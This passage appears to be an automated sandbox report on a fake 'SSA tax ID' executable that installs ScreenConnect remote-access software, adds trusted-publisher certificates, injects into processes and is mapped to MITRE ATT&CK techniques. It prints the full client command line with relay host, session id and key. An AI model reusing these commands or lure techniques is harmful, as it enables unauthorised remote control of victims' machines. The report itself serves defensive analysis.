Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0017.0009_f980a3533165990d\scre..ient_4b14c015c87c1ad8_0017.0009_none_fbe0c2da0 = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..dows_4b14c015c87c1ad8_0017.0009_none_6a433ce92d10b8e9\Files	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..dows_4b14c015c87c1ad8_0017.0009_none_6a433ce92d10b8e9	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..dows_4b14c015c87c1ad8_0017.0009_none_6a433ce92d10b8e9\identity = 53637265656e436f6e6e6563742e57696e646f77732c2056657273696f6e3d32332e392e31302e383831372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d344231344330313543383743314144382c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..core_4b14c015c87c1ad8_0017.0009_none_65cb6507f0c2a5b9\DigestMethod = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0017.0009_none_c7123e2bd9a688c6\Files\ScreenConnect.WindowsClient.exe_6492277df = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..vice_4b14c015c87c1ad8_0017.0009_none_171efd5086820924\lock!080000007abc570e34070000440d0000000000000000000 = 30303030303733342c30316461383035376263383439623334	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Visibility	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0017.0009_none_c7123e2bd9a688c6	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..core_4b14c015c87c1ad8_0017.0009_none_65cb6507f0c2a5b9\Transform = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..vice_4b14c015c87c1ad8_0017.0009_none_171efd5086820924	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0017.0009_none_fbe0c2da0011fbbd\Files	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..vice_4b14c015c87c1ad8_0017.0009_none_171efd5086820924\lock!06000000e7bc570e88090000f4070000000000000000000 = 30303030303938382c30316461383035376365353761303134	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0017.0009_none_c7123e2bd9a688c6\lock!16000000f7bc570e88090000f4070000000000000000000 = 30303030303938382c30316461383035376365353761303134	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0017.0009_208965e6b5aa6dc2	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_25b0fbb6ef7eb094_0017.0009_none_aa62037c34f7a445\Files\ScreenConnect.WindowsBackstageShell.exe_8 = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_25b0fbb6ef7eb094_0017.0009_none_aa62037c34f7a445\Files\ScreenConnect.WindowsFileManager.exe_0e21 = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0017.0009_none_fbe0c2da0011fbbd	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..core_4b14c015c87c1ad8_0017.0009_none_65cb6507f0c2a5b9\lock!0a000000e7bc570e88090000f4070000000000000000000 = 30303030303938382c30316461383035376365353761303134	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Categories	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Families	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_25b0fbb6ef7eb = 54007200750065000000	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0017.0009_none_c7123e2bd9a688c6\implication!scre..tion_25b0fbb6ef7eb094_0017.0009_20 = 68747470733a2f2f666561747572652e73637265656e636f6e6e6563742e636f6d2f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32332e392e31302e383831372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0017.0009_none_c7123e2bd9a688c6\lock!0a0000007abc570e34070000440d0000000000000000000 = 30303030303733342c30316461383035376263383439623334	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Assemblies	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0017.0009_208965e6b5aa6dc2\scre...exe_25b0fbb6ef7eb094_0017.0009_none_aa62037c3	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..dows_4b14c015c87c1ad8_0017.0009_none_6a433ce92d10b8e9\lock!100000007abc570e34070000440d0000000000000000000 = 30303030303733342c30316461383035376263383439623334	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_25b0fbb6ef7eb = 53637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion	ScreenConnect.WindowsClient.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0017.0009_208965e6b5aa6dc2\pin!S_{3f471841-eef2-47d6-89c0-d028f03a4ad5}	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0017.0009_f980a3533165990d\scre..ient_4b14c015c87c1ad8_0017.0009_none_fbe0c2da0	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre...exe_25b0fbb6ef7eb094_0017.0009_none_aa62037c34f7a445\lock!060000007abc570e34070000440d0000000000000000000 = 30303030303733342c30316461383035376263383439623334	dfsvc.exe

Modifies system certificate store 2 TTPs 6 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C	SSA-taxID-351788.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C\Blob = 0300000001000000140000007b0f360b775f76c94a12ca48445aa2d2a875701c2000000001000000b4060000308206b030820498a003020102021008ad40b260d29c4c9f5ecda9bd93aed9300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3231303432393030303030305a170d3336303432383233353935395a3069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e6720525341343039362053484133383420323032312043413130820222300d06092a864886f70d01010105000382020f003082020a0282020100d5b42f42d028ad78b75dd539591bb18842f5338ceb3d819770c5bbc48526309fa48e68d85cf5eb342407e14b4fd37843f417d71edaf9d2d5671a524f0ea157fc8899c191cc81033e4d702464b38de2087d347d4c8057126b439a99f2c53b1ff2efcb475a13a64cb3012025f310d38bb2fb08f08ae09d09c065a7fa98804935873d5119e8902178452ea19f2ce118c21accc5ee93497042328ffbc6ea1cf3656891a24d4c8211485268de10bd14575de8181365c57fb24f852c48a4568435d6f92e9caa0015d137fe1a0694c27cc8ea1b32e6cac2f4a7a3030e74a5af39b6ab6012e3e8d6b9f731e1dcade418a0d8c1234747b3a10f6ea3ab6d9806831bb76a672dd2bd441a9210818fb03b09d7c79b325ac2ff6a60548b49c193ede1b45ce06feb26f98cd5b2f93810e6eace91f5bed3fb6f9361345cbc93452883362a66285fb073ce8b262506b283d45cf615194ced62e05e33f2e8e8ec0aa7b0032b91b23679bef7ad081e75a665ccbbe34850f377911afedb50a246c8615898f57c02163c8328ad3986ecd4b70d53d0f847e675308dec30937614a65b4b5d74614d3f129176debf58cb72102941f0d5c56d267668114113589adc262b01f4894d59db78cf814a3e40475fc98150738510232159608a6454c1cc211ae838197c661ccd78384530994fff634f4cbbaa0d0853417c583d47b3fab6ec8c320902cc6c3c0c56110203010001a38201593082015530120603551d130101ff040830060101ff020100301d0603551d0e041604146837e0ebb63bf85f1186fbfe617b088865f44e42301f0603551d23041830168014ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300e0603551d0f0101ff04040302018630130603551d25040c300a06082b06010505070303307706082b06010505070101046b3069302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304106082b060105050730028635687474703a2f2f636163657274732e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63727430430603551d1f043c303a3038a036a0348632687474703a2f2f63726c332e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63726c301c0603551d20041530133007060567810c01033008060667810c010401300d06092a864886f70d01010c050003820201003a23443d8d0876ee8fbc3a99d356e0021aa5f84834f32cb6e67466f79472b100caaf6c302713129e90449f4bfd9ea37c26d537bc3a5d486d95d53f49f427bb16814550fd9cbdb685e0767e3771cb22f75aaa90cff5936ae3eb20d1d55079889a8a8ac1b6bda148187edcd8801a111918cd61998156f6c9e376e7c4e41b5f43f83e94ff76393d9ed499cf4add28eb5f26a1955848d51afed7273ffd90d17686dd1cb0605cf30da8eee089a1bd39e1384eda6ebb369dfbe521535ac3cae96af1a23edb43b833c84f38149299f5ddce546dd95d02141f40337c03e295b2c221757352cb46d8c4341ca2a54b8dcd6f76372c853f1ace26e918be9007b0437f9588208270f0cccaeffd29355c1f893855f7378a8b09a1cb0be9311aff2e195c3971e1be9ca70a06d62667b792e64e5fde7aac49cf2ea47492addb3ca49c861fe3c1561b2b23ff8fb5ea887b706be6a0bafd3a3f45a6c4e81691528b41c048844b964dab4440e38df01528ceedf11856072a2f10c40c08643c338fae288c3ccb8f880b0dbf3bf4ce1e7b8eefb5ebcbb7f07713e6e7283fac12aea52f226c41f9825c1566cc6c0ecac586c3f626330c074ba0d307026a6a4030484b34a85120bbad1b8508e2590d6dca05502bea4a1c9ea5fda0a71f0674e7f2d65290fdaf854821f9573bb49c03ed8645f4b4616ebf68e2266086eac8afa9fe941de7631b3a8656784e	SSA-taxID-351788.exe
Key created	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579	SSA-taxID-351788.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579\Blob = 0300000001000000140000004c2272fba7a7380f55e2a424e9e624aee1c145792000000001000000640700003082076030820548a00302010202100b9360051bccf66642998998d5ba97ce300d06092a864886f70d01010b05003069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e67205253413430393620534841333834203230323120434131301e170d3232303831373030303030305a170d3235303831353233353935395a3065310b30090603550406130255533110300e06035504081307466c6f72696461310e300c0603550407130554616d706131193017060355040a1310436f6e6e656374776973652c204c4c433119301706035504031310436f6e6e656374776973652c204c4c4330820222300d06092a864886f70d01010105000382020f003082020a0282020100ec489826d08d2c6de21b3cd3676db1e0e50cb1ff75ff564e9741f9574aa3640aa8297294a05b4db68abd0760b6b05b50ce92ff42a4e390be776a43e9961c722f6b3a4d5c880bcc6a61b4026f9137d36b2b7e9b86055876b9fa860dbcb164fe7f4b5b9de4799ae4e02dc1f0bee01e5d032933a2827388f8db0b482e76c441b1bd50909ef2023e1fb62196c994ce052266b28cd89253e6416044133139764db5fc45702529536bf82c775f9ec81fa27dc409530325f40cdef95b81b9ce0d42791cee72e7bd1b36c257b52257c65a28970e457513989434bfc239e2992b193e1b3cc3f11ccdd1d26d4ec9845099ab913906a42069af999c0071169b45a2ea1aa666f1904e8acb05e1823a359a291fd46b4ef7aed5935bb6ab17ebf077210726930c90f01761d6544a94e8fa614cc41d817eec734b1c3d3afb7c58fb256f0c09edc1459bddbff9940ed1958570265d67af79a9b6a16affd70fc6328c9810d5dc186e39af6fbcad49a270f237e6bcd5de0bc014bc3179cd79776591340311a42ca94f33416c2e01b59bd1d71de86ace6716bc90b2d7695d155039aa08fbac19a4d93fb784230a20a485287a16355645fc09142c602d140fa046b7bfd75328184ff7bdf8f9e0d65e6201c8d242931047f59bd328ac353777ccefa60408887b84fc3631301463461a1d73c0b5cc74d6d82905ddf923bdbab027a311cc38d3fa16f639a50203010001a382020630820202301f0603551d230418301680146837e0ebb63bf85f1186fbfe617b088865f44e42301d0603551d0e04160414338ce10a6e06d9c6ed0bc6cae736cefb8188646a300e0603551d0f0101ff04040302078030130603551d25040c300a06082b060105050703033081b50603551d1f0481ad3081aa3053a051a04f864d687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c3053a051a04f864d687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c303e0603551d20043730353033060667810c0104013029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f43505330819406082b06010505070101048187308184302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305c06082b060105050730028650687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820201000ad79f00cf4984864c8981ecce8718aa875647f6a74608c968e16568c7aa9d711ed7341676038067f01330c91621b27a2a8894c4108c268162a31f13f9757a7d6bb3c6f19bf27c3a29896d712d85873627d827cd6471761444fabf1d31e903f791143c5b4ce5e7444aacba36d759aeba3069d195226755cbc675aa747f77596c53c96e083c45bba24479d6845eea9f2b28ba29b4dcf0bcf14aa4ce176c24e2c1b8fec3ee16e1c086db6fda97388859e83be65c03f701395b78b842c6dd1533ef642cca6fe50f6337d3f2dfedd8b28f2b28e0c98edd2151392e7cc75489f48859f1de14c81b306eb50eed7bb78be30eaada76767c4ca523a11eec5a2372d6122926ab1801a6a6778e9504791487ee47d4577154988802070f80fc535957658f954cd083546c5afb5a6567b6761275f5db20f70ab86feef94c7cfc65369d325121b69a82399bc7dc1962416f0f05cf1eee64d495a3527e464e2c68da0187093f97b673e43dddbcc067e00713f1565fcff8c3772d44b40a04e600644f22a990345f9a6b5b52963e82c81a0ce91d43a230f67b37d8debda40ea3d59d305e18adc1976516c12a8ba2bca24143b12e9527b4dca58872aa9b3a8c6ac563fc2dc02bf51be889516d35a4ba9d062417b5bdcc50ba945fae26b60d6aec03984798a6a21d3ff793cc0849e81ed55b8027411c50db776ae8feef2fdc2dafb04345261dedc054	SSA-taxID-351788.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C	SSA-taxID-351788.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3594324687-1993884830-4019639329-1000\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579	SSA-taxID-351788.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1572	ScreenConnect.WindowsClient.exe
1324	ScreenConnect.WindowsClient.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4632	ScreenConnect.ClientService.exe
4632	ScreenConnect.ClientService.exe
4632	ScreenConnect.ClientService.exe
4632	ScreenConnect.ClientService.exe
4632	ScreenConnect.ClientService.exe
4632	ScreenConnect.ClientService.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1844	dfsvc.exe
Token: SeDebugPrivilege	4632	ScreenConnect.ClientService.exe

Suspicious use of FindShellTrayWindow 13 IoCs

pid	Process
1572	ScreenConnect.WindowsClient.exe
1572	ScreenConnect.WindowsClient.exe
1572	ScreenConnect.WindowsClient.exe
1572	ScreenConnect.WindowsClient.exe
1572	ScreenConnect.WindowsClient.exe
1572	ScreenConnect.WindowsClient.exe
1572	ScreenConnect.WindowsClient.exe
1572	ScreenConnect.WindowsClient.exe
1572	ScreenConnect.WindowsClient.exe
1572	ScreenConnect.WindowsClient.exe
1572	ScreenConnect.WindowsClient.exe
1572	ScreenConnect.WindowsClient.exe
1572	ScreenConnect.WindowsClient.exe

Suspicious use of SendNotifyMessage 13 IoCs

pid	Process
1572	ScreenConnect.WindowsClient.exe
1572	ScreenConnect.WindowsClient.exe
1572	ScreenConnect.WindowsClient.exe
1572	ScreenConnect.WindowsClient.exe
1572	ScreenConnect.WindowsClient.exe
1572	ScreenConnect.WindowsClient.exe
1572	ScreenConnect.WindowsClient.exe
1572	ScreenConnect.WindowsClient.exe
1572	ScreenConnect.WindowsClient.exe
1572	ScreenConnect.WindowsClient.exe
1572	ScreenConnect.WindowsClient.exe
1572	ScreenConnect.WindowsClient.exe
1572	ScreenConnect.WindowsClient.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 3048 wrote to memory of 1844	3048	SSA-taxID-351788.exe	77
PID 3048 wrote to memory of 1844	3048	SSA-taxID-351788.exe	77
PID 1844 wrote to memory of 2440	1844	dfsvc.exe	78
PID 1844 wrote to memory of 2440	1844	dfsvc.exe	78
PID 1844 wrote to memory of 2440	1844	dfsvc.exe	78
PID 2440 wrote to memory of 1476	2440	ScreenConnect.WindowsClient.exe	79
PID 2440 wrote to memory of 1476	2440	ScreenConnect.WindowsClient.exe	79
PID 2440 wrote to memory of 1476	2440	ScreenConnect.WindowsClient.exe	79
PID 4632 wrote to memory of 1572	4632	ScreenConnect.ClientService.exe	81
PID 4632 wrote to memory of 1572	4632	ScreenConnect.ClientService.exe	81
PID 4632 wrote to memory of 1572	4632	ScreenConnect.ClientService.exe	81
PID 4632 wrote to memory of 1324	4632	ScreenConnect.ClientService.exe	82
PID 4632 wrote to memory of 1324	4632	ScreenConnect.ClientService.exe	82
PID 4632 wrote to memory of 1324	4632	ScreenConnect.ClientService.exe	82

C:\Users\Admin\AppData\Local\Temp\SSA-taxID-351788.exe
"C:\Users\Admin\AppData\Local\Temp\SSA-taxID-351788.exe"
1⤵
- Manipulates Digital Signatures
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:3048
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
  2⤵
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1844
- - C:\Users\Admin\AppData\Local\Apps\2.0\7KH2PKVV.4O1\TTBDO6D6.56O\scre..tion_25b0fbb6ef7eb094_0017.0009_f980a3533165990d\ScreenConnect.WindowsClient.exe
    "C:\Users\Admin\AppData\Local\Apps\2.0\7KH2PKVV.4O1\TTBDO6D6.56O\scre..tion_25b0fbb6ef7eb094_0017.0009_f980a3533165990d\ScreenConnect.WindowsClient.exe"
    3⤵
    - Executes dropped EXE
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:2440
  - - C:\Users\Admin\AppData\Local\Apps\2.0\7KH2PKVV.4O1\TTBDO6D6.56O\scre..tion_25b0fbb6ef7eb094_0017.0009_f980a3533165990d\ScreenConnect.ClientService.exe
      "C:\Users\Admin\AppData\Local\Apps\2.0\7KH2PKVV.4O1\TTBDO6D6.56O\scre..tion_25b0fbb6ef7eb094_0017.0009_f980a3533165990d\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=instance-mguhbu-relay.screenconnect.com&p=443&s=56803b7a-ca34-4801-af8b-8afe3bdff8cd&k=BgIAAACkAABSU0ExAAgAAAEAAQDhx8OBj8FY8rB1VrDLChLP1LLvdBBljaauOrbEq6YeMiLKF8LA3tBnj7v%2bjnNSUoOgIYPdPVZVC89yNv4W6OHmtypYW6YajtDJo5zSReYHx%2fMVp1JeQxEyGWGVCcQaECUzy2npekQLBoCxF4skgFnbSweEO0PYHaDJL3LQ916%2fNkbdny3ByOho6jMuGHldl7DFDrdhGxxo91apGBvgTWZjjcLUCmmza2jEJqNDpgolf6%2fw6SGFOWJmoAo%2bHAL2HAr2bIEXc1TO55YYZu04meZuADpu3TP%2bZdwje%2bhzckgeVv7fnDETwzx84R41umbfOLsz1%2fBvfyca4Ps3ogcrRTS9&r=&i=Untitled%20Session" "1"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1476

C:\Users\Admin\AppData\Local\Apps\2.0\7KH2PKVV.4O1\TTBDO6D6.56O\scre..tion_25b0fbb6ef7eb094_0017.0009_f980a3533165990d\ScreenConnect.ClientService.exe
"C:\Users\Admin\AppData\Local\Apps\2.0\7KH2PKVV.4O1\TTBDO6D6.56O\scre..tion_25b0fbb6ef7eb094_0017.0009_f980a3533165990d\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=instance-mguhbu-relay.screenconnect.com&p=443&s=56803b7a-ca34-4801-af8b-8afe3bdff8cd&k=BgIAAACkAABSU0ExAAgAAAEAAQDhx8OBj8FY8rB1VrDLChLP1LLvdBBljaauOrbEq6YeMiLKF8LA3tBnj7v%2bjnNSUoOgIYPdPVZVC89yNv4W6OHmtypYW6YajtDJo5zSReYHx%2fMVp1JeQxEyGWGVCcQaECUzy2npekQLBoCxF4skgFnbSweEO0PYHaDJL3LQ916%2fNkbdny3ByOho6jMuGHldl7DFDrdhGxxo91apGBvgTWZjjcLUCmmza2jEJqNDpgolf6%2fw6SGFOWJmoAo%2bHAL2HAr2bIEXc1TO55YYZu04meZuADpu3TP%2bZdwje%2bhzckgeVv7fnDETwzx84R41umbfOLsz1%2fBvfyca4Ps3ogcrRTS9&r=&i=Untitled%20Session" "1"
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4632
- C:\Users\Admin\AppData\Local\Apps\2.0\7KH2PKVV.4O1\TTBDO6D6.56O\scre..tion_25b0fbb6ef7eb094_0017.0009_f980a3533165990d\ScreenConnect.WindowsClient.exe
  "C:\Users\Admin\AppData\Local\Apps\2.0\7KH2PKVV.4O1\TTBDO6D6.56O\scre..tion_25b0fbb6ef7eb094_0017.0009_f980a3533165990d\ScreenConnect.WindowsClient.exe" "RunRole" "e1125487-7a47-4c9f-b4b2-0f8c8e44dcf2" "User"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:1572
- C:\Users\Admin\AppData\Local\Apps\2.0\7KH2PKVV.4O1\TTBDO6D6.56O\scre..tion_25b0fbb6ef7eb094_0017.0009_f980a3533165990d\ScreenConnect.WindowsClient.exe
  "C:\Users\Admin\AppData\Local\Apps\2.0\7KH2PKVV.4O1\TTBDO6D6.56O\scre..tion_25b0fbb6ef7eb094_0017.0009_f980a3533165990d\ScreenConnect.WindowsClient.exe" "RunRole" "e1fc0316-0199-4ab0-b644-9a1f193ce737" "System"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: AddClipboardFormatListener
  PID:1324

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

SIP and Trust Provider Hijacking

T1553.003

